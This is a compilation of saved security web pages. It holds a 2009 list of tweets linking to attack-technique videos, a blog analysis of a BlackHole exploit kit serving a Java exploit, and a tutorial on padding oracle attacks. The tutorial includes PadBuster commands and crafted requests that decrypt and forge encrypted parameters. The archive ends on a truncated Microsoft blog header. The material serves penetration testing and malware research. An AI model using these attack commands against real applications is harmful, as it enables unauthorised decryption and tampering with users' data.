     *      *   319. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Stoned Bootkit talk by Peter Kleissner at HAR 2009 http://bit.ly/AV99D6:20 AM Sep 28th from DemoApp
     *      *   320. <img src='img/Temp2_8607.jpg' width='48' height='48' alt='Rodrigo (Sp0oKeR)' />**spookerlabs** RT @sans\_isc Use Emerging Threats signatures? READ THIS\! http://bit.ly/173pJH6:15 AM Sep 28th from web
     *      *   321. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Blocking Spyware with Ghostpadhttp://bit.ly/8WZuj4:20 AM Sep 28th from DemoApp
     *      *   322. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Socket Programming Basics Presentation \(2\) http://bit.ly/LcVxR2:20 AM Sep 28th from DemoApp
     *      *   323. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Fuzzing 101 Detailed Primerhttp://bit.ly/Zt01711:19 PM Sep 27th from DemoApp
     *      *   324. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] OWASP Top 10 Detailed Primerhttp://bit.ly/Apdxb10:19 PM Sep 27th from DemoApp
     *      *   325. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] How to get Terminal from Shell in Windows using Metasploit by IT Security http://bit.ly/4ewKd12:19 PM Sep 27th from DemoApp
     *      *   326. <img src='img/Temp2_8615.jpg' width='48' height='48' alt='Darkoperator' />**Carlos\_Perez** I'm thinking of upgrading my home network to gigabit11:59 AM Sep 27th from TweetDeck
     *      *   327. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Access Control \(CSMA CD\)http://bit.ly/xF3Kw8:19 AM Sep 27th from DemoApp
     *      *   328. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] IP Packet Injection \(2\)http://bit.ly/Vhfyb5:18 PM Sep 25th from DemoApp
     *      *   329. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Botnets, Ransomware, Malware, and Stuff \(Brucon 2009\) http://bit.ly/xpn7Q5:11 PM Sep 25th from DemoApp
     *      *   330. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Script Fragmentation \(A new Web Attack Vector\) Brucon 2009 http://bit.ly/sZUQt4:46 PM Sep 25th from DemoApp
     *      *   331. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] TCP Echo Client using Socketshttp://bit.ly/4CrsN33:18 PM Sep 25th from DemoApp
     *      *   332. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Building Plugins for IDA Pro \(Recon 2008\) http://bit.ly/1jklTm12:18 PM Sep 25th from DemoApp
     *      *   333. <img src='img/Temp2_8623.jpg' width='48' height='48' alt='HD Moore' />**hdmoore** article on going from XSS to shell with BEEF and Metasploit: http://bit.ly/Hrm2710:09 AM Sep 25th from web
     *      *   334. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Netstumbler \(Part 2\) http://bit.ly/p5Ohy9:18 AM Sep 25th from DemoApp
     *      *   335. <img src='img/Temp2_8623.jpg' width='48' height='48' alt='HD Moore' />**hdmoore** neat blog post on embedding Metasploit's meterpreter into existing Flash games:http://my.opera.com/wolfcod/blog/show.dml/29197628:19 AM Sep 25th from web
     *      *   336. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] fping \(Part 2\) http://bit.ly/40yzwa7:18 AM Sep 25th from DemoApp
     *      *   337. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] IPv6 Header Structurehttp://bit.ly/nvRuZ3:18 AM Sep 25th from DemoApp
     *      *   338. <img src='img/Temp2_8625.jpg' width='48' height='48' alt='Command-Line-Fu' />**commandlinefu** Colorized grep in less \(unixmonkey5780\)http://bit.ly/xoZUu \#color \#grep \#gnu-linux3:01 AM Sep 25th from API
     *      *   339. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Programming the Frameworkhttp://bit.ly/19h2261:18 AM Sep 25th from DemoApp
     *      *   340. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Assembly Primer for Hackers \(Part 9\) Conditional Branching http://bit.ly/rOSFA11:17 PM Sep 24th from DemoApp
     *      *   341. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] DNS Spoofing with Virtual Hostshttp://bit.ly/KEGvh10:17 PM Sep 24th from DemoApp
     *      *   342. <img src='img/Temp2_8625.jpg' width='48' height='48' alt='Command-Line-Fu' />**commandlinefu** Tunneling TCP-traffic \(true\)http://bit.ly/RtFD \#linux \#netcat \#debug10:10 PM Sep 24th from API
     *      *   343. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Bypassing the Linux Kernel ASLR and Exploiting a Buffer Overflow Vulnerable Application with ret2esp http://bit.ly/us0Vo9:17 PM Sep 24th from DemoApp
     *      *   344. <img src='img/Temp2_8623.jpg' width='48' height='48' alt='HD Moore' />**hdmoore** Forcing Payloads Through Restrictive Firewalls \(blog post\): Shows off two new Metasploit features:http://bit.ly/v24H78:28 PM Sep 24th from web
     *      *   345. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Monitoring API Calls on Windows with Maltrap http://bit.ly/pvgq37:17 PM Sep 24th from DemoApp
     *      *   346. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Bytecode Injection into a Running Process using Ptrace\(\) http://bit.ly/rop7g6:17 PM Sep 24th from DemoApp
     *      *   347. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** Malware capability axes: propagation, infection, data collection, data exfiltration, command and control, stealth. Others?3:48 PM Sep 24th from CoTweet
     *      *   348. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Security Binge \(Episode 1\)http://bit.ly/2MUmy13:43 PM Sep 24th from DemoApp
     *      *   349. <img src='img/Temp2_8619.jpg' width='48' height='48' alt='Jon Oberheide' />**jonoberheide** AT&T U-Verse traffic dumps available here:http://jon.oberheide.org/uverse/3:42 PM Sep 24th from web
     *      *   350. <img src='img/Temp2_8617.jpg' width='48' height='48' alt='packet storm' />**packet\_storm** IRC Bot For Mac OS Xhttp://packetstormsecurity.org/filedesc/tsunami.c.html3:17 PM Sep 24th from API
     *      *   351. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] TCP connection reset in a local network through ARP poisoning and packet injectionhttp://bit.ly/5JMId3:17 PM Sep 24th from DemoApp
     *      *   352. <img src='img/Temp2_8609.jpg' width='48' height='48' alt='CERIAS at Purdue U.' />**cerias** Video Podcast: Rick Aldrich, "The Importance of Law in Cybersecurity, Recent Developments and Tren..http://bit.ly/kX42c6:58 AM Sep 24th from twitterfeed
     *      *   353. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Raw Sockets Basics Presentation \(2\)http://bit.ly/Rs0Lf6:17 AM Sep 24th from DemoApp
     *      *   354. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Computation and Modeling \(LayerOne 2009\) http://bit.ly/Dnl6z5:17 AM Sep 24th from DemoApp
     *      *   355. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Bypassing Security Protections By Backdooring Libc http://bit.ly/1kqR9Z9:14 AM Sep 23rd from DemoApp
     *      *   356. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] W3af \(A Framework to own the Web\)http://bit.ly/1BHwkD1:13 AM Sep 23rd from DemoApp
     *      *   357. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Changing your Firefox User Agent to Emulate Googlebot http://bit.ly/3CaVTN11:13 PM Sep 22nd from DemoApp
     *      *   358. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Demonstration of the SQLmap tool against Mutilldae http://bit.ly/1ECqp610:19 PM Sep 22nd from DemoApp
     *      *   359. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Assembly Primer for Hackers \(Part 7\) Working with Strings http://bit.ly/1oOEWy8:13 PM Sep 22nd from DemoApp
     *      *   360. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Netbios Basics using SMBClient Part 2http://bit.ly/W3BA97:13 PM Sep 22nd from DemoApp
     *      *   361. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Html Injection and Network Sniffinghttp://bit.ly/2fwlNh4:35 PM Sep 22nd from DemoApp
     *      *   362. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Two Dimensional Arrays Part I \(C Programming 101\) http://bit.ly/2Rf1Mi3:11 PM Sep 22nd from DemoApp
     *      *   363. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Exploiting a buffer overflow under Linux kernel 2.6 with ASLR through ret2reg http://bit.ly/C8fkh11:25 AM Sep 22nd from DemoApp
     *      *   364. <img src='img/Temp2_8627.jpg' width='48' height='48' alt='Pedram Amini' />**pedramamini** Having had to write code to walk the stack in the past I can tell you it's no trivial task. Good write-up:http://bit.ly/3Oncms10:04 AM Sep 22nd from web
     *      *   365. <img src='img/Temp2_8611.jpg' width='48' height='48' alt='Lenny Zeltser' />**lennyzeltser** How to put Adobe Reader, iTunes, Outlook and more on a diet http://bit.ly/dIBSD \(via @FSecure\)9:54 AM Sep 22nd from CoTweet
     *      *   366. <img src='img/Temp2_8623.jpg' width='48' height='48' alt='HD Moore' />**hdmoore** NTLM Challenge Credential Theft with BeEF and Metasploit http://bit.ly/WUZrK \(saw the demo @ \#bsideslv\)9:53 AM Sep 22nd from web
     *      *   367. <img src='img/Temp2_8594.jpg' width='48' height='48' alt='Ingo und Peter' />**0x02100** Der richtige Zeitpunkt für Xcode 3.2http://bit.ly/h98y2 \#xcode \#podcast8:45 AM Sep 22nd from Tweetie
     *      *   368. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Automating Windows GUI Programs using Programming Techniques http://bit.ly/2ia5Xy8:25 AM Sep 22nd from DemoApp
     *      *   369. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Malicious Email Social Engineer Attack using Social Engineers Toolkit \(SET\) http://bit.ly/uEpDd7:25 AM Sep 22nd from DemoApp
     *      *   370. <img src='img/Temp2_8609.jpg' width='48' height='48' alt='CERIAS at Purdue U.' />**cerias** Video Podcast: Jerry Saulman, "From Security Architecture to Implementation" http://bit.ly/27Kiiy6:58 AM Sep 22nd from twitterfeed
     *      *   371. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Two Dimensional Arrays Part III \(C Programming 101\) http://bit.ly/u1f7d5:47 AM Sep 21st from DemoApp
     *      *   372. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Subverting Windows Group Policies to run a Disabled CMD.exe http://bit.ly/GIpHH3:40 AM Sep 21st from DemoApp
     *      *   373. <img src='img/Temp2_8613.jpg' width='48' height='48' alt='wishinet' />**wishinet** RT @SecurityTube: \[Video\] Bytecode Injection into a Running Process using Ptrace\(\) http://bit.ly/rop7g2:49 AM Sep 21st from Tweetie
     *   374. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Socket Programming Basics Presentation http://bit.ly/2VtGUw5:41 PM Sep 20th from DemoApp
     *      *   375. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Windows 7 Security Talk by Jorge Orchilles @jorgeorchilles http://bit.ly/blLvs <\-- Highly Recommended Watch\! \*\*Updated with Slides4:33 PM Sep 20th from twhirl
     *      *   376. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Reverse Engineering a Software Install Process http://bit.ly/17yvkI10:41 AM Sep 20th from DemoApp
     *      *   377. <img src='img/Temp2_8600.jpg' width='48' height='48' alt='Security Tube' />**SecurityTube** \[Video\] Search and Dump Passwords from Memory using Memory DD http://bit.ly/6ZfwV8:41 AM Sep 20th from DemoApp
     *      * 
|  
---|---  
  

# Malware at Stake: BlackHole + Java Array Exploit - Rising High

**Created:**| _7/3/2012 7:53:38 PM_  
---|---  
**Updated:**| _7/3/2012 7:53:38 PM_  
**Author:**| __  
**Tags:**| _Exploit Java_  
  

### BlackHole + Java Array Exploit - Rising High

During our analysis, we have seen that several of the websites have been
infected with obfuscated JavaScripts that point to one or the other Browser
Exploit Pack \(BEP\). Typically, BlackHole is the primary weapon for automated
infected using Drive-by-download attacks. Recently, another high traffic
website is found to be running malicious script that is loading BlackHole to
trigger infection.  
  
Java array exploit is on rise nowadays. Microsoft has discussed about the
details of this vulnerability at:
**http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-
jre-sandbox-breach-cve-2012-0507.aspx**.  
  
The obfuscated script is present here - **http://pastebin.com/nVQcmMsM**. The
script deobfuscates to the following code as follows:  
  

<img src='img/Temp2_5137.png' width='640' height='328' />

  
The URL's are designed to use no-ip or dynamic dns service. According to
Wikipedia, _"**Dynamic DNS** or **DDNS** is a method of updating, in real
time, a Domain Name System \(DNS\) to point to a changing IP address on the
Internet. This is used to provide a persistent domain name for a resource that
may change location on the network."_  
  
We mapped the required IP and doing some behavioral analysis, a plugin
detection script was found as present on the following lnk:  
  
Obuscated Code - **http://pastebin.com/rK0NaAMh.**  
Deobfuscated Plugin Detection code **-http://pastebin.com/QxiXVRcG**  
  
The code fingerprints the browser for running different set of plugins. On
finding the vulnerable version of Java plugin, the script downloads the
malicious jar file running specific Java exploit.  
  

<img src='img/Temp2_5138.png' width='640' height='116' />

  
The decompiled code is present here:**http://pastebin.com/5FWMUEtP**  
  
Java exploits have become popular. We have also discussed earlier about top 5
Java exploits here: **http://secniche.blogspot.com/2011/05/finest-5-java-
exploit-on-fire.html**.  
  
Java array indexing vulnerability is the new kid in the town. Refer
vulnerability - **http://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2012-0507**.  
  

# Automated Padding Oracle Attacks with PadBuster - Gotham Digital Science

**Created:**| _9/16/2010 9:57:10 AM_  
---|---  
**Updated:**| _9/16/2010 9:57:29 AM_  
**Author:**| __  
**Tags:**| _attacks Oracle_  
  

## Automated Padding Oracle Attacks with PadBuster

Published by Brian Holyfield at 9:20 am under Application Security, Tools

There’s been a lot of buzz recently about Padding Oracle Attacks, an attack
vector demonstrated by Juliano Rizzo and Thai Duong during their presentation
at BlackHat Europe earlier this summer. While padding oracles are relatively
easy to exploit, the act of exploiting them can be time consuming if you don’t
have a good way of automating the attack. The lack of good tools for
identifying and exploiting padding oracles led us to develop our own internal
padding oracle exploit script, PadBuster, which we’ve decided to share with
the community. The tool can be downloaded here, but I’ll spend a little bit of
time discussing how the tool works and the various use cases it supports.

**Some Background**

Before we discuss using PadBuster, let’s briefly discuss the fundamentals of a
classic padding oracle attack. As the term implies, a critical concept behind
a padding oracle attack is the notion of cryptographic padding. Plaintext
messages come in a variety of lengths; however, block ciphers require that all
messages be an exact number of blocks. To satisfy this requirement, padding is
used to ensure that a given plaintext message can always be divided into an
exact number of blocks.

While several padding schemes exist, one of the most common padding schemes is
described in the PKCS\#5 standard. With PCKS\#5 padding, the final block of
plaintext is padded with N bytes \(depending on the length of the last
plaintext block\) of value N. This is best illustrated through the examples
below, which show words of varying length \(FIG, BANANA, AVOCADO, PLANTAIN,
PASSIONFRUIT\) and how they would be padded using PKCS\#5 padding \(the
examples below use 8-byte blocks\).

<img src='img/Temp2_935.png' />  
_Click to Enlarge_

Note that at least one padding byte is ALWAYS appended to the end of a string,
so a 7-byte value \(like AVOCADO\) would be padded with 0×01 to fill the
block, while an 8-byte value \(like PLANTAIN\) would have a full block of
padding added to it. The value of the padding byte also indicates the number
of bytes, so logically final value\(s\) at the end of the last block of
ciphertext must either:

  * A single 0×01 byte \(0×01\)
  * Two 0×02 bytes \(0×02, 0×02\)
  * Three 0×03 bytes \(0×03, 0×03, 0×03\)
  * Four 0×04 bytes \(0×04, 0×04, 0×04, 0×04\)
  * …and so on

If the final decrypted block does not end in one of these valid byte
sequences, most cryptographic providers will throw an invalid padding
exception. The fact that this exception gets thrown is critical for the
attacker \(us\) as it is the basis of the padding oracle attack.

**A Basic Padding Oracle Attack Scenario**

To provide a concrete example, consider the following scenario:

_An application uses a query string parameter to pass the encrypted username,
company id, and role id of a user. The parameter is encrypted using CBC mode,
and each value uses a unique initialization vector \(IV\) which is pre-pended
to the ciphertext._

_When the application is passed an encrypted value, it responds in one of
three ways:_

  * _When a valid ciphertext is received \(one that is properly padded and contains valid data\) the application responds normally \(200 OK\)_
  * _When an invalid ciphertext is received \(one that, when decrypted, does not end with valid padding\) the application throws a cryptographic exception \(500 Internal Server Error\)_
  * _When a valid ciphertext is received \(one that is properly padded\) but decrypts to an invalid value, the application displays a custom error message \(200 OK\)_

The scenario described above is a classic Padding Oracle, because we can use
the behavior of the application to easily determine whether the supplied
encrypted value is properly padded or not. The term oracle refers to a
mechanism that can be used to determine whether a test has passed or failed.

Now that the scenario has been laid out, let’s take a look at one of the
encrypted parameters used by the application. This parameter is used by the
application to store a semi-colon delimited series of values that, in our
example, include the user’s name \(BRIAN\), company id \(12\), and role id
\(2\). The value, in plaintext, can be represented as **BRIAN;12;2;**. A
sample of the encrypted query string parameter is shown below for reference.
Note that the encrypted UID parameter value is encoded using ASCII Hex
representation.

[code]

    http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
    
[/code]

At this point, an attacker would not have any idea what the underlying
plaintext is, but for the sake of this example, we already know the plaintext
value, the padded plaintext value, and the encrypted value \(see diagram
below\). As we mentioned previously, the initialization vector is pre-pended
to the ciphertext, so the first block of 8 bytes is just that.

<img src='img/Temp2_931.png' />

As for the block size, an attacker would see that the length of the encrypted
ciphertext is 24 bytes. Since this number is evenly divisible by 8 and not
divisible by 16, one can conclude that you are dealing with a block size of 8
bytes. Now, for reference take a look at what happens internally when this
value is encrypted and decrypted. We see the process byte-for-byte in the
diagram as this information will be helpful later on when discussing the
exploit. Also note that the circled plus sign represents the XOR function.

**Encryption Diagram \(Click to Enlarge\):**  
<img src='img/Temp2_925.png' />

**Decryption Diagram \(Click to Enlarge\):**  
<img src='img/Temp2_932.png' />

It is also worthwhile to point out that the last block \(Block 2 of 2\), when
decrypted, ends in a proper padding sequence as expected. If this were not the
case, the cryptographic provider would throw an invalid padding exception.

**The Padding Oracle Decryption Exploit**

Let’s now look at how we can decrypt the value by using the padding oracle
attack. We operate on a single encrypted block at a time, so we can start by
isolating just the first block of ciphertext \(the one following the IV\) and
sending it to the application pre-pended with an IV of all NULL values. The
URL and associated response are shown below:

[code]

    Request:  http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537
    
[/code]

[code]

    Response:  500 - Internal Server Error
    
[/code]

A 500 error response makes sense given that this value is not likely to result
in anything valid when decrypted. The diagram below shows a closer look at
what happens underneath the covers when the application attempts to decrypt
this value. You should note that since we are only dealing with a single block
of ciphertext \(Block 1 of 1\), the block MUST end with valid padding in order
to avoid an invalid padding exception.

<img src='img/Temp2_924.png' />

As shown above, the exception is thrown because the block does not end with a
valid padding sequence once decrypted. Now, let’s take a look at what happens
when we send the exact same value but with the last byte of the initialization
vector incremented by one.

[code]

    Request: http://sampleapp/home.jsp?UID=0000000000000001F851D6CC68FC9537
    
[/code]

[code]

    Response: 500 - Internal Server Error
    
[/code]

Like before, we also get a 500 exception. This is due to the fact that, like
before, the value does not end in a valid padding sequence when decrypted. The
difference however, is that if we take a closer look at what happens
underneath the covers we will see that the final byte value is different than
before \(0×3C rather than 0×3D\).

<img src='img/Temp2_930.png' />

If we repeatedly issue the same request and increment just the last byte in
the IV each time \(up to FF\) we will inevitably hit a value that produces a
valid padding sequence for a single byte of padding \(0×01\). Only one value
\(out of the possible 256 different bytes\) will produce the correct padding
byte of 0×01. When you hit this value, you should end up with a different
response than the other 255 requests.

[code]

    Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537
    
[/code]

[code]

    Response: 200 OK
    
[/code]

Let’s take a look at the same diagram to see what happens this time.

<img src='img/Temp2_923.png' />

Given this is the case, we can now deduce the intermediary value byte at this
position since we know that when XORed with 0×3C, it produces 0×01.

_**If \[Intermediary Byte\] ^ 0×3C == 0×01,  
then \[Intermediary Byte\] == 0×3C ^ 0×01,  
so \[Intermediary Byte\] == 0×3D**_

Taking this one step further, now that we know the intermediary byte value we
can deduce what the actual decrypted value is. You’ll recall that during the
decryption process, each intermediary value byte is XORed with the
corresponding byte of the previous block of ciphertext \(or the IV in the case
of the first block\). Since the example above is using the first block from
the original sample, then we need to XOR this value with the corresponding
byte from the original IV \(0×0F\) to recover the actual plaintext value. As
expected, this gives us 0×32, which is the number "2" \(the last plaintext
byte in the first block\).

Now that we’ve decrypted the 8th byte of the sample block, it’s time to move
onto the 7th byte. In order to crack the 8th byte of the sample, we brute
forced an IV byte that would produce a last decrypted byte value of 0×01
\(valid padding\). In order to crack the 7th byte, we need to do the same
thing, but this time both the 7th and 8th byte must equal 0×02 \(again, valid
padding\). Since we already know that the last intermediary value byte is
0×3D, we can update the 8th IV byte to 0×3F \(which will produce 0×02\) and
then focus on brute forcing the 7th byte \(starting with 0×00 and working our
way up through 0xFF\).

<img src='img/Temp2_928.png' />

Once again, we continue to generate padding exceptions until we hit the only
value which produces a 7th decrypted byte value of 0×02 \(valid padding\),
which in this case is 0×24.

<img src='img/Temp2_936.png' />

Using this technique, we can work our way backwards through the entire block
until every byte of the intermediary value is cracked, essentially giving us
access to the decrypted value \(albeit one byte at a time\). The final byte is
cracked using an IV that produces an entire block of just padding \(0×08\) as
shown below.

<img src='img/Temp2_922.png' />

**The Decryption Exploit with PadBuster**

Now let’s discuss how to use PadBuster to perform this exploit, which is
fairly straightforward. PadBuster takes three mandatory arguments:

  * URL – This is the URL that you want to exploit, including query string if present. There are optional switches to supply POST data \(-post\) and Cookies if needed \(-cookies\)
  * Encrypted Sample – This is the encrypted sample of ciphertext included in the request. This value must also be present in either the URL, post or cookie values and will be replaced automatically on every test request
  * Block Size – Size of the block that the cipher is using. This will normally be either 8 or 16, so if you are not sure you can try both

For this example, we will also use the command switch to specify how the
encrypted sample is encoded. By default PadBuster assumes that the sample is
Base64 encoded, however in this example the encrypted text is encoded as an
uppercase ASCII HEX string. The option for specifying encoding \(-encoding\)
takes one of the following three possible values:

  * 0: Base64 \(default\)
  * 1: Lowercase HEX ASCII
  * 2: Uppercase HEX ASCII

The actual command we run will look like the following:

[code]

    padBuster.pl http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
    7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
    
[/code]

Notice that we never told PadBuster how to recognize a padding error. While
there is a command line option \(-error\) to specify the padding error
message, by default PadBuster will analyze the entire first cycle \(0-256\) of
test responses and prompt the user to choose which response pattern matches
the padding exception. Typically the padding exception occurs on all but one
of the initial test requests, so in most cases there will only be two response
patterns to choose from as shown below \(and PadBuster will suggest which one
to use\).

<img src='img/Temp2_929.png' />

The initial output from PadBuster is shown in the screenshot above. You’ll see
that PadBuster re-issues the original request and shows the generated response
information before starting its testing. This is useful for authenticated
applications to ensure that the authentication cookies provided to PadBuster
are working correctly.

Once a response pattern is selected, PadBuster will automatically cycle
through each block and brute force each corresponding plaintext byte which
will take, at most, 256 requests per byte. After each block, PadBuster will
also display the obtained intermediary byte values along with the calculated
plaintext. The intermediary values can be useful when performing arbitrary
encryption exploits as we will show in the next section.

<img src='img/Temp2_933.png' />

**Encrypting Arbitrary Values**

We’ve just seen how a padding oracle and PadBuster can be used to decrypt the
contents of any encrypted sample one block at a time. Now, let’s take a look
at how you can encrypt arbitrary payloads using the same vulnerability.

You have probably noticed that once we are able to deduce the intermediary
value for a given ciphertext block, we can manipulate the IV value in order to
have complete control over the value that the ciphertext is decrypted to. So
in the previous example of the first ciphertext block that we brute forced, if
you want the block to decrypt to a value of "TEST" you can calculate the
required IV needed to produce this value by XORing the desired plaintext
against the intermediary value. So the string "TEST" \(padded with four 0×04
bytes, of course\) would be XORed against the intermediary value to produce
the needed IV of 0×6D, 0×36, 0×70, 0×76, 0×03, 0×6E, 0×22, 0×39.

<img src='img/Temp2_926.png' />

This works great for a single block, but what if we want to generate an
arbitrary value that is more than one block long? Let’s look at a real example
to make it easier to follow. This time we will generate the encrypted string
"ENCRYPT TEST" instead of just "TEST". The first step is to break the sample
into blocks and add the necessary padding as shown below:

<img src='img/Temp2_934.png' />

When constructing more than a single block, we actually start with the last
block and move backwards to generate a valid ciphertext. In this example, the
last block is the same before, so we already know that the following IV and
ciphertext will produce the string "TEST".

[code]

    Request:  http://sampleapp/home.jsp?UID=6D367076036E2239F851D6CC68FC9537
    
[/code]

Next, we need to figure out what intermediary value 6D367076036E2239 would
decrypt to if it were passed as ciphertext instead of just an IV. We can do
this by using the same technique used in the decryption exploit by sending it
as the ciphertext block and starting our brute force attack with all nulls.

[code]

    Request:  http://sampleapp/home.jsp?UID=00000000000000006D367076036E2239
    
[/code]

Once we brute force the intermediary value, the IV can be manipulated to
produce whatever text we want. The new IV can then be pre-pended to the
previous sample, which produces the valid two-block ciphertext of our choice.
This process can be repeated an unlimited number of times to encrypt data of
any length.

**Encrypting Arbitrary Values with PadBuster**

PadBuster has the option to automate the process of creating arbitrary
encrypted values in addition to decrypting them. There are three command line
switches related to creating ciphertexts:

  * _-plaintext \[String\]: plaintext to Encrypt_ This is the plaintext you want to encrypt. This option is mandatory when using PadBuster to encrypt data, and its presence is what tells PadBuster to perform encryption instead of decryption
  * _-ciphertext \[Bytes\]: CipherText for Intermediary Bytes \(Hex-Encoded\)_ Optional – can be used to provide the starting ciphertext block for encryption. This option must be used in conjunction with the -intermediary option \(see below\)
  * _-intermediary \[Bytes\]: Intermediary Bytes for CipherText \(Hex-Encoded\)_ Optional – can be used to provide the corresponding intermediary byte values for the cipher text specified with the -ciphertext option.

The purpose of the -ciphertext and -intermediary options is to speed up the
exploit process as it reduces the number of ciphertext blocks that must be
cracked when generating a forged ciphertext sample. If these options are not
provided, PadBuster will start from scratch and brute force all of the
necessary blocks for encryption. Let’s take a look at the actual command
syntax used to encrypt data with PadBuster:

[code]

    padBuster.pl http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
    7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 -plaintext "ENCRYPT TEST"
    
[/code]

The output from PadBuster is shown in the screenshot below:

<img src='img/Temp2_937.png' />

You’ll notice that just like before, PadBuster will first ask you to choose
the correct padding error response signature. This step can be skipped if you
manually specify the padding error message using the -error option. Also
notice that PadBuster performed a brute force of both full ciphertext blocks,
because we didn’t specify a starting ciphertext block and associated
intermediary value to use. If we had provided these values to PadBuster, the
first block would have been calculated instantly and only the second block
would require brute force as shown below.

[code]

    padBuster.pl http://sampleapp/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
    7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 -plaintext "ENCRYPT TEST"
    -ciphertext F851D6CC68FC9537 -intermediary 39732322076A263D
    
[/code]

<img src='img/Temp2_927.png' />

As you can see, the first block \(Block 2\) was calculated before prompting
for the response signature since this block was calculated using just the data
provided with the -ciphertext and -intermediary options. If you are wondering
where these two values came from, remember that PadBuster prints these two
values to the screen at the conclusion of each round of block processing.

So to wrap things up, we are releasing PadBuster because we think that other
pen testers can benefit from a flexible exploit script for detecting and
exploit padding oracles. We would be interested in hearing if there are other
features that would make the tool more useful or practical from a tester’s
perspective, so let us know if you have any feedback.

4 responses so far

### 4 Responses to “Automated Padding Oracle Attacks with PadBuster”

  1. \# Pete Austin _on 15 Sep 2010 at 9:57 am_
You can make this dramatically faster by trying data bytes in order of their
typical probabilities – most probable first. For example printable Ascii
characters may be common, along with padding characters such as null. And
within the Ascii range, those which score 1 in Scrabble are more likely then
those with higher scores.

# Targeted attacks against recently addressed Microsoft Office vulnerability
\(CVE-2010-3333/MS10-087\) - Microsoft Malware Protection Center - Site Home -
TechNet Blogs

**Created:**| _1/1/2011 10:49:49 AM_  
---|---  
**Updated:**| _1/1/2011 10:50:04 AM_  
**Author:**| __  
**Tags:**| _Debugging Malware-analysis Microsoft_  
  

### Targeted attacks against recently addressed Microsoft Office vulnerability
\(CVE-2010-3333/MS10-087\)

RATE THIS  
<img src='img/Temp2_7926.png' /><img src='img/Temp2_7927.png' /><img
src='img/Temp2_7926.png' /><img src='img/Temp2_7927.png' /><img
